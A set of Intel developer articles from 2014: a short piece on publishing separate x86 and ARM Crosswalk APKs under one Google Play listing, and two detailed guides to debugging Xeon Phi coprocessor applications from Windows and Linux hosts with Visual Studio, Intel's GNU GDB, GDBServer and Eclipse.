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Submitting Multiple Crosswalk APKs to the Google Play Store*

August 13, 2014, 11:21 am

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The Crosswalk build system produces two Android APK files: one for devices containing an x86 processor and one for those built with ARM processors. The build system combines these two APK files into a single ZIP file for easy download to your development system. After downloading this ZIP file, you must unzip it and extract the two APK files in order to publish them to an Android store. You should submit both to the Android store to maximize the number of devices that can install and run your Crosswalk application. Instructions regarding how to do this are provided below.

The two APK files inside the ZIP are named as follows:

YourAppName.android.crosswalk.x86.timestamp.apk
e.g., CrosswalkExampleApp.android.crosswalk.x86.20140418132640.apk
YourAppName.android.crosswalk.arm.timestamp.apk
e.g., CrosswalkExampleApp.android.crosswalk.arm.20140418132745.apk

This Google Play Store* Submission Process document will walk you through the process of submitting multiple APKs to the Google Play Store for distribution under a single application listing. By following this procedure you insure that your Crosswalk application is available to the widest consumer audience. The store will automatically provide the appropriate architecture file with no special intervention on the part of your customer.

If you want to learn more about this Google Play feature, which allows you to publish multiple APKs under a single application listing, please see Multiple APK Support and Creating Multiple APKs for Different API Levels on the Android Developer site.

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Intel® RealSense™ Events

August 14, 2014, 5:15 am

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Debugging Intel® Xeon Phi™ Applications on Windows* Host

August 14, 2014, 9:21 am

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Introduction

Intel® Xeon Phi™ coprocessor is a product based on the Intel® Many Integrated Core Architecture (Intel® MIC). Intel® offers a debug solution for this architecture that can debug applications running on an Intel® Xeon Phi™ coprocessor.

There are many reasons for the need of a debug solution for Intel^® MIC. Some of the most important ones are the following:

Developing native Intel^® MIC applications is as easy as for IA-32 or Intel^® 64 hosts. In most cases they just need to be cross-compiled (/Qmic).
Yet, Intel^® MIC Architecture is different to host architecture. Those differences could unveil existing issues. Also, incorrect tuning for Intel^® MIC could introduce new issues (e.g. alignment of data, can an application handle more than hundreds of threads?, efficient memory consumption?, etc.)
Developing offload enabled applications induces more complexity as host and coprocessor share workload.
General lower level analysis, tracing execution paths, learning the instruction set of Intel^® MIC Architecture, …

Debug Solution for Intel® MIC

For Windows* host, Intel offers a debug solution, the Intel® Debugger Extension for Intel® MIC Architecture Applications. It supports debugging offload enabled application as well as native Intel® MIC applications running on the Intel® Xeon Phi™ coprocessor.

How to get it?

To obtain Intel’s debug solution for Intel® MIC Architecture on Windows* host, you need the following:

Intel^® Composer XE (for C/C++ or Fortran):
http://software.intel.com/en-us/intel-composer-xe
Only Intel® Composer XE contains the debug solution for Windows* host. However, Intel^® Manycore Platform Software Stack (Intel^® MPSS) is also required for this to work:
http://software.intel.com/en-us/articles/intel-manycore-platform-software-stack-mpss
(currently 3.3 for Windows*)

Debug Solution as Integration

Debug solution from Intel® based on GNU* GDB:

Full integration into Microsoft Visual Studio*, no command line version needed
Available with Intel® Composer XE 2013 SP1 and later

Note:
Pure native debugging on the coprocessor is also possible by using Intel’s version of GNU* GDB for the coprocessor. This is covered in the following article for Linux* host:
http://software.intel.com/en-us/articles/debugging-intel-xeon-phi-applications-on-linux-host

Why integration into Microsoft Visual Studio*?

Microsoft Visual Studio* is established IDE on Windows* host
Integration reuses existing usability and features
Fortran support added with Intel® Fortran Composer XE

Components Required

The following components are required to develop and debug for Intel® MIC Architecture:

Intel® Xeon Phi™ coprocessor
Windows* Server 2008 RC2, Windows* 7 or later
Microsoft Visual Studio* 2012 or later
Support for Microsoft Visual Studio* 2013 was added with Intel® Composer XE 2013 SP1 Update 1.
Intel® MPSS 3.1 or later
C/C++ development:
Intel® C++ Composer XE 2013 SP1 for Windows* or later
Fortran development:
Intel® Fortran Composer XE 2013 SP1 for Windows* or later

Configure & Test

It is crucial to make sure that the coprocessor setup is correctly working. Otherwise the debugger might not be fully functional.

Setup Intel^® MPSS:

Follow Intel^® MPSS readme-windows.pdf for setup
Verify that the Intel^® Xeon Phi™ coprocessor is running

Before debugging applications with offload extensions:

Use official examples from:
C:\Program Files (x86)\Intel\Composer XE 2013 SP1\Samples\en_US
Verify that offloading code works

Prerequisite for Debugging

Debugger integration for Intel^® MIC Architecture only works when debug information is being available:

Compile in debug mode with at least the following option set:
/Zi (compiler) and /DEBUG (linker)
Optional: Unoptimized code (/Od) makes debugging easier
(due to removed/optimized away temporaries, etc.)

Applications can only be debugged in 64 bit

Set platform to x64
Verify that /MACHINE:x64 (linker) is set!

Debugging Applications with Offload Extension

Start Microsoft Visual Studio* IDE and open or create an Intel^® Xeon Phi™ project with offload extensions. Examples can be found in the Samples directory of Intel® Composer XE, that is:

C:\Program Files (x86)\Intel\Composer XE 2013 SP1\Samples\en_US

C++\mic_samples.zip or
Fortran\mic_samples.zip

We’ll use intro_SampleC from the official C++ examples in the following.

Compile the project with Intel^® C++/Fortran Compiler.

Characteristics of Debugging

Set breakpoints in code (during or before debug session):
- In code mixed for host and coprocessor
- Debugger integration automatically dispatches between host/coprocessor
Run control is the same as for native applications:
- Run/Continue
- Stop/Interrupt
- etc.
Offloaded code stops execution (offloading thread) on host
Offloaded code is executed on coprocessor in another thread
IDE shows host/coprocessor information at the same time:
- Breakpoints
- Threads
- Processes/Modules
- etc.
Multiple coprocessors are supported:
- Data shown is mixed:
  Keep in mind the different processes and address spaces
- No further configuration needed:
  Debug as you go!

Setting Breakpoints

Note the mixed breakpoints here:
The ones set in the normal code (not offloaded) apply to the host. Breakpoints on offloaded code apply to the respective coprocessor(s) only.
The Breakpoints window shows all breakpoints (host & coprocessor(s)).

Start Debugging

Start debugging as usual via menu (shown) or <F5> key:

While debugging, continue till you reach a set breakpoint in offloaded code to debug the coprocessor code.

Thread Information

Information of host and coprocessor(s) is mixed. In the example above, the threads window shows two processes with their threads. One process comes from the host, which does the offload. The other one is the process hosting and executing the offloaded code, one for each coprocessor.

Additional Requirements

For debugging offload enabled applications additional environment variables need to be set:

Intel® MPSS 2.1:
COI_SEP_DISABLE=FALSE
MYO_WATCHDOG_MONITOR=-1
Intel® MPSS 3.*:
AMPLXE_COI_DEBUG_SUPPORT=TRUE
MYO_WATCHDOG_MONITOR=-1

Set those variables before starting Visual Studio* IDE!

Those are currently needed but might become obsolete in the future. Please be aware that the debugger cannot and should not be used in combination with Intel® VTune™ Amplifier XE. Hence disabling SEP (as part of Intel® VTune™ Amplifier XE) is valid. The watchdog monitor must be disabled because a debugger can stop execution for an unspecified amount of time. Hence the system watchdog might assume that a debugged application, if not reacting anymore, is dead and will terminate it. For debugging we do not want that.

Note:
Do not set those variables for a production system!

Debugging Native Coprocessor Applications

Pre-Requisites

Create a native Intel^® Xeon Phi™ application and transfer & execute the application to the coprocessor target:

Use micnativeloadex.exe provided by Intel^® MPSS for an application C:\Temp\mic-examples\bin\myApp, e.g.:

> "C:\Program Files\Intel\MPSS\sdk\coi\tools\micnativeloadex\micnativeloadex.exe""C:\Temp\mic-examples\bin\myApp" -d 0
Option –d 0 specifies the first device (zero based) in case there are multiple coprocessors per system
This application is executed directly after transfer

Using micnativeloadex.exe also takes care about dependencies (i.e. libraries) and transfers them, too.

Other ways to transfer and execute native applications are also possible (but more complex):

SSH/SCP
NFS
FTP
etc.

Debugging native applications with Start Visual Studio* IDE is only possible via Attach to Process…:

micnativeloadex.exe has been used to transfer and execute the native application

Make sure the application waits till attached, e.g. by:


		static int lockit = 1;

		while(lockit) { sleep(1); }

After having attached, set lockit to 0 and continue.
No Visual Studio* solution/project is required.

Only one coprocessor at a time can be debugged this way.

Configuration

Open the options via TOOLS/Options… menu:

It tells the debugger extension where to find the binary and sources. This needs to be changed every time a different coprocessor native application is being debugged.

The entry solib-search-path directories works the same as for the analogous GNU* GDB command. It allows to map paths from the build system to the host system running the debugger.

The entry Host Cache Directory is used for caching symbol files. It can speed up lookup for big sized applications.

Attach

Open the options via TOOLS/Attach to Process… menu:

Specify the Intel(R) Debugger Extension for Intel(R) MIC Architecture. Set the IP and port the GDBServer is running on; the default port of the GDB-Server is 2000, so use that.

After a short delay the processes of the coprocessor card are listed. Select one to attach.

Note:
Checkbox Show processes from all users does not have a function for the coprocessor as user accounts cannot be mapped from host to target and vice versa (Linux* vs. Windows*).

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Debugging Intel® Xeon Phi™ Applications on Linux* Host

August 14, 2014, 9:43 am

Latest and popular articles on Intel Technologies

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≪ Previous: Debugging Intel® Xeon Phi™ Applications on Windows* Host

Introduction

There are many reasons for the need of a debug solution for Intel^® MIC. Some of the most important ones are the following:

Developing native Intel^® MIC applications is as easy as for IA-32 or Intel^® 64 hosts. In most cases they just need to be cross-compiled (-mmic).
Yet, Intel^® MIC Architecture is different to host architecture. Those differences could unveil existing issues. Also, incorrect tuning for Intel^® MIC could introduce new issues (e.g. alignment of data, can an application handle more than hundreds of threads?, efficient memory consumption?, etc.)
Developing offload enabled applications induces more complexity as host and coprocessor share workload.
General lower level analysis, tracing execution paths, learning the instruction set of Intel^® MIC Architecture, …

Debug Solution for Intel® MIC

For Linux* host, Intel offers a debug solution for Intel® MIC which is based on GNU* GDB. It can be used on the command line for both host and coprocessor. There is also an Eclipse* IDE integration that eases debugging of applications with hundreds of threads thanks to its user interface. It also supports debugging offload enabled applications.

How to get it?

There are currently two ways to obtain Intel’s debug solution for Intel® MIC Architecture on Linux* host:

Intel^® Manycore Platform Software Stack (MPSS):
http://software.intel.com/en-us/articles/intel-manycore-platform-software-stack-mpss
(currently MPSS 3.3 for Linux*)
First version became available with MPSS 2.1.
Intel^® Composer XE (for C/C++ or Fortran):
http://software.intel.com/en-us/intel-composer-xe
It requires at least Intel^® Composer XE 2013 SP1 or later.

Both packages contain the same debug solutions for Intel® MIC Architecture!

Note:
Intel® Composer XE 2013 SP1 contains GNU* GDB 7.5. With later versions, GNU* GDB 7.7 is available. However, all MPSS versions only have version 7.5 right now.

Why use GNU* GDB provided by Intel?

New features/improvements offered back to GNU* community
Latest GNU* GDB versions in future releases
Improved C/C++ & Fortran support thanks to Project Archer and contribution through Intel
Increased support for Intel^® architecture (esp. Intel^® MIC)
Additional debugging capabilities – more later

Latest Intel related HW support and features are provided in the debug solution from Intel!

Why is Intel providing a Command Line and Eclipse* IDE Integration?

The command line with GNU* GDB has the following advantages:

Well known syntax
Lightweight: no dependencies
Easy setup: no project needs to be created
Fast for debugging hundreds of threads
Can be automatized/scripted

Using the Eclipse* IDE provides more features:

Comfortable user interface
Most known IDE in the Linux* space
Use existing Eclipse* projects
Simple integration of the Intel enhanced GNU* GDB
Works also with Photran* plug-in to support Fortran
Supports debugging of offload enabled applications
(not supported by command line)

Deprecation Notice

Intel® Debugger is deprecated (incl. Intel® MIC Architecture support):

Intel® Debugger for Intel® MIC Architecture was only available in Composer XE 2013 & 2013 SP1
Intel® Debugger is not part of Intel® Composer XE 2015 anymore

Users are advised to use GNU* GDB that comes with Intel® Composer XE 2013 SP1 and later!

You can provide feedback via either your Intel® Premier account (http://premier.intel.com) or via the Debug Solutions User Forum (http://software.intel.com/en-us/forums/debug-solutions/).

Features

Intel’s GNU* GDB, starting with version 7.5, provides additional extensions that are available on the command line:

Support for Intel^® Many Integrated Core Architecture (Intel^® MIC Architecture):
Displays registers (zmmX & kX) and disassembles the instruction set
Support for Intel^® Transactional Synchronization Extensions (Intel^® TSX):
Helpers for Restricted Transactional Memory (RTM) model
(only for host)
Data Race Detection (pdbx):
Detect and locate data races for applications threaded using POSIX* thread (pthread) or OpenMP* models
Branch Trace Store (btrace):
Record branches taken in the execution flow to backtrack easily after events like crashes, signals, exceptions, etc.
(only for host)
Pointer Checker:
Assist in finding pointer issues if compiled with Intel^® C++ Compiler and having Pointer Checker feature enabled
(only for host)
Register support for Intel^® Memory Protection Extensions (Intel^® MPX) and Intel^® Advanced Vector Extensions 512 (Intel^® AVX-512):
Debugger is already prepared for future generations

The features for Intel® MIC highlighted above are described in the following.

Register and Instruction Set Support

Compared to Intel® architecture on host systems, Intel® MIC Architecture comes with a different instruction and register set. Intel’s GNU* GDB comes with transparently integrated support for those. Use is no different than with host systems, e.g.:

Disassembling of instructions:
```
		(gdb) disassemble $pc, +10

		Dump of assembler code from 0x11 to 0x24:

		0x0000000000000011 <foobar+17>: vpackstorelps %zmm0,-0x10(%rbp){%k1}

		0x0000000000000018 <foobar+24>: vbroadcastss -0x10(%rbp),%zmm0

		⁞

		
```
In the above example the first ten instructions are disassembled beginning at the instruction pointer ($pc). Only first two lines are shown for brevity. The first two instructions are Intel® MIC specific and their mnemonic is correctly shown.

Listing of mask (kX) and vector (zmmX) registers:


		(gdb) info registers zmm

		k0   0x0  0

		     ⁞

		zmm31 {v16_float = {0x0 <repeats 16 times>},

		      v8_double = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},

		      v64_int8 = {0x0 <repeats 64 times>},

		      v32_int16 = {0x0 <repeats 32 times>},

		      v16_int32 = {0x0 <repeats 16 times>},

		      v8_int64 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},

		      v4_uint128 = {0x0, 0x0, 0x0, 0x0}}

Also registers have been extended by kX (mask) and zmmX (vector) register sets that come with Intel® MIC.

If you use the Eclipse* IDE integration you’ll get the same information in dedicated windows:

Disassembling of instructions:
Listing of mask (kX) and vector (zmmX) registers:

Data Race Detection

A quick excursion about what data races are:

A data race happens…
If at least two threads/tasks access the same memory location w/o synchronization and at least one thread/task is writing.

Example:
Imaging the two functions thread1()& thread2() are executed concurrently by different threads.


		int a = 1;

		int b = 2;

		                                         | t

		int thread1() {      int thread2() {     | i

		  return a + b;        b = 42;           | m

		}                    }                   | e

		                                         v

Return value of thread1() depends on timing: 3 vs. 43!
This is one (trivial) example of a data race.

What are typical symptoms of data races?

Data race symptoms:
- Corrupted results
- Run-to-run variations
- Corrupted data ending in a crash
- Non-deterministic behavior
Solution is to synchronize concurrent accesses, e.g.:
- Thread-level ordering (global synchronization)
- Instruction level ordering/visibility (atomics)
  Note:
  Race free but still not necessarily run-to-run reproducible results!
- No synchronization: data races might be acceptable

GDB data race detection points out unsynchronized data accesses. Not all of them might incur data races. It is the responsibility of the user to decide which ones are not expected and filter them (see next).
Due to technical limitations not all unsynchronized data accesses can be found, e.g.: 3rd party libraries or any object code not compiled with –debug parallel (see next).

How to detect data races?

Prepare to detect data races:
- Only supported with Intel^® C++/Fortran Compiler (part of Intel^® Composer XE):
  Compile with -debug parallel (icc, icpc or ifort)
  Only objects compiled with-debug parallel are analyzed!
- Optionally, add debug information via –g

Enable data race detection (PDBX) in debugger:


		(gdb) pdbx enable

		(gdb) c

		data race detected

		1: write shared, 4 bytes from foo.c:36

		3: read shared, 4 bytes from foo.c:40

		Breakpoint -11, 0x401515 in L_test_..._21 () at foo.c:36

		*var = 42; /* bp.write */

Data race detection requires an additional library libpdbx.so.5:

Keeps track of the synchronizations
Part of Intel® C++ & Fortran Compiler
Copy to coprocessor if missing
(found at <composer_xe_root>/compiler/lib/mic/libpdbx.so)

Supported parallel programming models:

OpenMP*
POSIX* threads

Data race detection can be enabled/disabled at any time

Only memory access are analyzed within a certain period
Keeps memory footprint and run-time overhead minimal

There is finer grained control for minimizing overhead and selecting code sections to analyze by using filter sets.

More control about what to analyze with filters:

Add filter to selected filter set, e.g.:
```
		(gdb) pdbx filter line foo.c:36

		(gdb) pdbx filter code 0x40518..0x40524

		(gdb) pdbx filter var shared

		(gdb) pdbx filter data 0x60f48..0x60f50

		(gdb) pdbx filter reads # read accesses

		
```
Those define various filter on either instructions by specifying source file and line or the addresses (range), or variables using symbol names or addresses (range) respectively. There is also a filter to only report accesses that use (read) data in case of a data race.
There are two basic configurations, that are exclusive:
- Ignore events specified by filters (default behavior)
```
				(gdb) pdbx fset suppress

				
```
- Ignore events not specified by filters
```
				(gdb) pdbx fset focus

				
```
  The first one defines a white list, whilst the latter one blacklists code or data sections that should not be analyzed.
Get debug command help
```
		(gdb) help pdbx

		
```
This command will provide additional help on the commands.

Use cases for filters:

Focused debugging, e.g. debug a single source file or only focus on one specific memory location.
Limit overhead and control false positives. Detection involves some runtime and memory overhead at runtime. The more filters narrow down the scope of analysis, the more the overhead will be reduced. This can also be used to exclude false positives. Those can occur if real data races are detected, but without any impact on application’s correctness by design (e.g. results of multiple threads don’t need to be globally stored in strict order).
Exclude 3rd party code for analysis

Some additional hints using PDBX:

Optimized code (symptom):


		(gdb) run

		data race detected

		1: write question, 4 bytes from foo.c:36

		3: read question, 4 bytes from foo.c:40

		Breakpoint -11, 0x401515 in foo () at foo.c:36

		*answer = 42;

		(gdb)

Incident has to be analyzed further:
- Remember: data races are reported on memory objects
- If symbol name cannot be resolved: only address is printed
Recommendation:
Unoptimized code (-O0) makes it easier to understand due to removed/optimized away temporaries, etc.
Reported data races appear to be false positives:
- Not all data races are bad… user intended?
- OpenMP*: Distinct parallel sections using the same variable (same stack frame) can result in false positives

Note:
PDBX is not available for Eclipse* IDE and will only work for remote debugging of native coprocessor applications. See section Debugging Remotely with PDBX for more information on how to use it.

Debugging on Command Line

There are multiple versions available:

Debug natively on Intel^® Xeon Phi™ coprocessor
Execute GNU* GDB on host and debug remotely

Debug natively on Intel® Xeon Phi™ coprocessor
This version of Intel’s GNU* GDB runs natively on the coprocessor. It is included in Intel® MPSS only and needs to be made available on the coprocessor first in order to run it. Depending on the MPSS version it can be found at the provided location:

MPSS 2.1: /usr/linux-k1om-4.7/linux-k1om/usr/bin/gdb
MPSS 3.*: included in gdb-7.5+mpss3.*.k1om.rpm as part of package mpss-3.*-k1om.tar
(for MPSS 3.1.2, please see Errata, for MPSS 3.1.4 use mpss-3.1.4-k1om-gdb.tar)

For MPSS 3.* the coprocessor native GNU* GDB requires debug information from some system libraries for proper operation. Please see Errata for more information.

Execute GNU* GDB on host and debug remotely
There are two ways to start GNU* GDB on the host and debug remotely using GDBServer on the coprocessor:

Intel^® MPSS:
- MPSS 2.1: /usr/linux-k1om-4.7/bin/x86_64-k1om-linux-gdb
- MPSS 3.*: <mpss_root>/sysroots/x86_64-mpsssdk-linux/usr/bin/k1om-mpss-linux/k1om-mpss-linux-gdb
- GDBServer:
  /usr/linux-k1om-4.7/linux-k1om/usr/bin/gdbserver
  (same path for MPSS 2.1 & 3.*)
Intel^® Composer XE:
- Source environment to start GNU* GDB:
```
				$ source debuggervars.[sh|csh]

				$ gdb-mic

				
```
- GDBServer:
  <composer_xe_root>/debugger/gdb/target/mic/bin/gdbserver

The sourcing of the debugger environment is only needed once. If you already sourced the according compilervars.[sh|csh] script you can omit this step and gdb-mic should already be in your default search paths.

Attention: Do not mix GNU* GDB & GDBServer from different packages! Always use both from either Intel® MPSS or Intel® Composer XE!

Debugging Natively

Make sure GNU* GDB is already on the target by:

Copy manually, e.g.:


		$ scp /usr/linux-k1om-4.7/linux-k1om/usr/bin/gdb mic0:/tmp

Add to the coprocessor image (see Intel® MPSS documentation)

Run GNU* GDB on the Intel® Xeon Phi™ coprocessor, e.g.:
```
		$ ssh –t mic0 /tmp/gdb

		
```
Initiate debug session, e.g.:

Attach:
```
		(gdb) attach <pid>
```
<pid> is PID on the coprocessor
Load & execute:
```
		(gdb) file <path_to_application>
```
<path_to_application> is path on coprocessor

Some additional hints:

If native application needs additional libraries:
Set $LD_LIBRARY_PATH, e.g. via:
```
		(gdb) set env LD_LIBRARY_PATH=/tmp/

		
```
…or set the variable before starting GDB
If source code is relocated, help the debugger to find it:
```
		(gdb) set substitute-path <from> <to>
```
Change paths from <from> to<to>. You can relocate a whole source (sub-)tree with that.

Debugging is no different than on host thanks to a real Linux* environment on the coprocessor!

Debugging Remotely

Copy GDBServer to coprocessor, e.g.:
```
		$ scp <composer_xe_root>/debugger/gdb/target/mic/bin/gdbserver mic0:/tmp
```
During development you can also add GDBServer to your coprocessor image!
Start GDB on host, e.g.:
```
		$ source debuggervars.[sh|csh]

		$ gdb-mic

		
```
Note:
There is also a version named gdb-ia which is for IA-32/Intel® 64 only!

Connect:


		(gdb) target extended-remote | ssh -T mic0 /tmp/gdbserver --multi –

Set sysroot from MPSS installation, e.g.:
```
		(gdb) set sysroot /opt/mpss/3.1.4/sysroots/k1om-mpss-linux/

		
```
If you do not specify this you won't get debugger support for system libraries.
Debug:

Attach:
```
		(gdb) file <path_to_application>

		(gdb) attach <pid>
```
<path_to_application> is path on host, <pid> is PID on the coprocessor
Load & execute:
```
		(gdb) file <path_to_application>

		(gdb) set remote exec-file <remote_path_to_application>
```
<path_to_application> is path on host, <remote_path_to_application> is path on the coprocessor

Some additional hints:

If remote application needs additional libraries:
Set $LD_LIBRARY_PATH, e.g. via:


		(gdb) target extended-remote | ssh mic0 LD_LIBRARY_PATH=/tmp/ /tmp/gdbserver --multi -

If source code is relocated, help the debugger to find it:
```
		(gdb) set substitute-path <from> <to>
```
Change paths from <from> to <to>. You can relocate a whole source (sub-)tree with that.
If libraries have different paths on host & target, help the debugger to find them:
```
		(gdb) set solib-search-path <lib_paths>
```
<lib_paths> is a colon separated list of paths to look for libraries on the host

Debugging is no different than on host thanks to a real Linux* environment on the coprocessor!

Debugging Remotely with PDBX

PDBX has some pre-requisites that must be fulfilled for proper operation. Use pdbx check command to see whether PDBX is working:

First step:
```
		(gdb) pdbx check

		checking inferior...failed.

		
```
Solution:
Start a remote application (inferior) and hit some breakpoint (e.g. b main& run)
Second step:
```
		(gdb) pdbx check

		checking inferior...passed.

		checking libpdbx...failed.

		
```
Solution:
Use set solib-search-path <lib_paths> to provide the path of libpdbx.so.5 on the host.
Third step:
```
		(gdb) pdbx check

		checking inferior...passed.

		checking libpdbx...passed.

		checking environment...failed.

		
```
Solution:
Set additional environment variables on the target for OpenMP*. Those need to be set with starting GDBServer (similar to setting $LD_LIBRARY_PATH).

$INTEL_LIBITTNOTIFY32=""
$INTEL_LIBITTNOTIFY64=""
$INTEL_ITTNOTIFY_GROUPS=sync

Debugging with Eclipse* IDE

Intel offers an Eclipse* IDE debugger plug-in for Intel® MIC that has the following features:

Seamless debugging of host and coprocessor
Simultaneous view of host and coprocessor threads
Supports multiple coprocessor cards
Supports both C/C++ and Fortran
Support of offload extensions (auto-attach to offloaded code)
Support for Intel^® Many Integrated Core Architecture (Intel^® MIC Architecture): Registers & Disassembly

The plug-in is part of both Intel® MPSS and Intel® Composer XE.

Pre-requisites

In order to use the provided plug-in the following pre-requisites have to be met:

Supported Eclipse* IDE version:
- 4.2 with Eclipse C/C++ Development Tools (CDT) 8.1 or later
- 3.8 with Eclipse C/C++ Development Tools (CDT) 8.1 or later
- 3.7 with Eclipse C/C++ Development Tools (CDT) 8.0 or later

We recommend: Eclipse* IDE for C/C++ Developers (4.2)

Java* Runtime Environment (JRE) 6.0 or later
For Fortran optionally Photran* plug-in
Remote System Explorer (aka. Target Management) to debug native coprocessor applications
Only for plug-in from Intel^® Composer XE, source debuggervars.[sh|csh] for Eclipse* IDE environment!

Install Intel® C++ Compiler plug-in (optional):
Add plug-in via “Install New Software…”:

This Plug-in is part of Intel^® Composer XE (<composer_xe_root>/eclipse_support/cdt8.0/). It adds Intel® C++ Compiler support which is not mandatory for debugging. For Fortran the counterpart is the Photran* plug-in. These plug-ins are recommended for the best experience.

Note:
Uncheck “Group items by category”, as the list will be empty otherwise!
In addition, it is recommended to disable checking for latest versions. If not done, installation could take unnecessarily long and newer components might be installed that did not come with the vanilla Eclipse package. Those could cause problems.

Install Plug-in for Offload Debugging

Add plug-in via “Install New Software…”:

Plug-in is part of:

Intel^® MPSS:
- MPSS 2.1: <mpss_root>/eclipse_support/
- MPSS 3.*: /usr/share/eclipse/mic_plugin/
Intel^® Composer XE:<composer_xe_root>/debugger/cdt/

Configure Offload Debugging

Create a new debug configuration for “C/C++ Application”
Click on “Select other…” and select MPM (DSF) Create Process Launcher:
The “MPM (DSF) Create Process Launcher” needs to be used for our plug-in. Please note that this instruction is for both C/C++ and Fortran applications! Even though Photran* is installed and a “Fortran Local Application” entry is visible (not in the screenshot above!) don’t use it. It is not capable of using MPM.
In “Debugger” tab specify MPM script of Intel’s GNU* GDB:
- Intel^® MPSS:
  - MPSS 2.1: <mpss_root>/mpm/bin/start_mpm.sh
  - MPSS 3.*: /usr/bin/start_mpm.sh
    (for MPSS 3.1.1, 3.1.2 or 3.1.4, please see Errata)
- Intel^® Composer XE:
  <composer_xe_root>/debugger/mpm/bin/start_mpm.sh
  
  Here, you finally add Intel’s GNU* GDB for offload debugging (using MPM (DSF)). It is a script that takes care of setting up the full environment needed. No further configuration is required (e.g. which coprocessor cards, GDBServer & ports, IP addresses, etc.); it works fully automatic and transparent.

Start Offload Debugging

Debugging offload enabled applications is not much different than applications native for the host:

Create & build an executable with offload extensions (C/C++ or Fortran)
- Use offload pragmas/directives or OpenMP* 4.0
- Use MYO (_Cilk_shared, _Cilk_spawn, …)
  
  For getting started examples, please see:
  - <composer_xe_root>/Samples/en_US/[C++|Fortran]/mic_samples
  - http://software.intel.com/en-us/articles/offload-programming-fortran-and-c-code-examples
  - Or search via Intel® Developer Zone’s Content Library:
    http://software.intel.com/en-us/search/site
Don’t forget to add debug information (-g) and reduce optimization level if possible (-O0)
Start debug session:
- Host & target debugger will work together seamlessly
- All threads from host & target are shown and described
- Debugging is same as used from Eclipse* IDE

This is an example (Fortran) of what offload debugging looks like. On the left side we see host & mic0 threads running. One thread (11) from the coprocessor has hit the breakpoint we set inside the loop of the offloaded code. Run control (stepping, continuing, etc.), setting breakpoints, evaluating variables/memory, … work as they used to.

Additional Requirements for Offload Debugging

For debugging offload enabled applications additional environment variables need to be set:

Intel® MPSS 2.1:
COI_SEP_DISABLE=FALSE
MYO_WATCHDOG_MONITOR=-1
Intel® MPSS 3.*:
AMPLXE_COI_DEBUG_SUPPORT=TRUE
MYO_WATCHDOG_MONITOR=-1

Set those variables before starting Eclipse* IDE!

Note:
Do not set those variables for a production system!

For Intel® MPSS 3.2 and later:
MYO debug libraries are no longer installed with Intel MPSS 3.2 by default. This is a change from earlier Intel MPSS versions. Users must install the MYO debug libraries manually in order to debug MYO enabled applications using the Eclipse plug-in for offload debugging. For Intel MPSS 3.2 (and later) the MYO debug libraries can be found in the package mpss-myo-dbg-* which is included in the mpss-*.tar file.

MPSS 3.2 and 3.2.1 do not support offload debugging with Intel® Composer XE 2013 SP1, please see Errata for more information!

Configure Native Debugging

Configure Remote System Explorer
To debug native coprocessor applications we need to configure the Remote System Explorer (RSE).

Note:
Before you continue, make sure SSH works (e.g. via command line). You can also specify different credentials (user account) via RSE and save the password.

The basic steps are quite simple:

Show the Remote System window:
Menu Window->Show View->Other…
Select: Remote Systems->Remote Systems
Add a new system node for each coprocessor:

Context menu in window Remote Systems: New Connection…

Select Linux, press Next>
Specify hostname of the coprocessor (e.g. mic0), press Next>
In the following dialogs select:
- ssh.files
- processes.shell.linux
- ssh.shells
- ssh.terminals

Repeat this step for each coprocessor!

Transfer GDBServer
Transfer of the GDBServer to the coprocessor is required for remote debugging. We choose /tmp/gdberver as target on the coprocessor here (important for the following sections).

Transfer the GDBServer to the coprocessor target, e.g.:


	$ scp <composer_xe_root>/debugger/gdb/target/mic/bin/gdbserver mic0:/tmp

During development you can also add GDBServer to your coprocessor image!

Note:
See section Debugging on Command Line above for the correct path of GDBServer, depending on the chosen package (Intel^® MPSS or Intel^® Composer XE)!

Debug Configuration

To create a new debug configuration for a native coprocessor application (here: native_c++) create a new one for C/C++ Remote Application.

Set Connection to the coprocessor target configured with RSE before (here: mic0).

Specify the remote path of the application, wherever it was copied to (here: /tmp/native_c++). We’ll address how to manually transfer files later.

Set the flag for “Skip download to target path.” if you don’t want the debugger to upload the executable to the specified path. This can be meaningful if you have complex projects with external dependencies (e.g. libraries) and don’t want to manually transfer the binaries.
(for MPSS 3.1.2 or 3.1.4, please see Errata)

Note that we use C/C++ Remote Application here. This is also true for Fortran applications because there’s no remote debug configuration section provided by the Photran* plug-in!

In Debugger tab, specify the provided Intel GNU* GDB for Intel® MIC (here: gdb-mic).

In the above example, set sysroot from MPSS installation in .gdbinit, e.g.:


	set sysroot /opt/mpss/3.1.4/sysroots/k1om-mpss-linux/

You can use .gdbinit or any other command file that should be loaded before starting the debugging session. If you do not specify this you won't get debugger support for system libraries.

Note:
See section Debugging on Command Line above for the correct path of GDBServer, depending on the chosen package (Intel^® MPSS or Intel^® Composer XE)!

In Debugger/Gdbserver Settings tab, specify the uploaded GDBServer (here: /tmp/gdbserver).

Build Native Application for the Coprocessor

Configuration depends on the installed plug-ins. For C/C++ applications we recommend to install the Intel® C++ Compiler XE plug-in that comes with Composer XE. For Fortran, install Photran* (3^rd party) and select the Intel® Fortran Compiler manually.

Make sure to use the debug configuration and provide options as if debugging on the host (-g). Optionally, disabling optimizations by –O0 can make the instruction flow comprehendible when debugging.

The only difference compared to host builds is that you need to cross-compile for the coprocessor: Use the –mmic option, e.g.:

After configuration, clean your build. This is needed because Eclipse* IDE might not notice all dependencies. And finally, build.

Note:
That the configuration dialog shown only exists for the Intel® C++ Compiler plug-in. For Fortran, users need to install the Photran* plug-in and switch the compiler/linker to ifort by hand plus adding -mmic manually. This has to be done for both the compiler & linker!

Start Native Debugging

Transfer the executable to the coprocessor, e.g.:

Copy manually (e.g. via script on the terminal)
Use the Remote Systems window (RSE) to copy files from host and paste to coprocessor target (e.g. mic0):

Select the files from the tree (Local Files) and paste them to where you want them on the target to be (e.g. mic0)
Use NFS to mirror builds to coprocessor (no need for update)
Use debugger to transfer (see earlier)

Note:
It is crucial that the executable can be executed on the coprocessor. In some cases the execution bits might not be set after copying.

Start debugging using the C/C++ Remote Application created in the earlier steps. It should connect to the coprocessor target and launch the specified application via the GDBServer. Debugging is the same as for local/host applications.

Note:
This works for coprocessor native Fortran applications the exact same way!

Documentation

More information can be found in the official documentation:

Intel^® MPSS:
- MPSS 2.1:
  <mpss_root>/docs/gdb/gdb.pdf
  <mpss_root>/eclipse_support/README-INTEL
- MPSS 3.*:
  not available yet (please see Errata)
Intel^® Composer XE:
<composer_xe_root>/Documentation/[en_US|ja_JP]/debugger/gdb/gdb.pdf
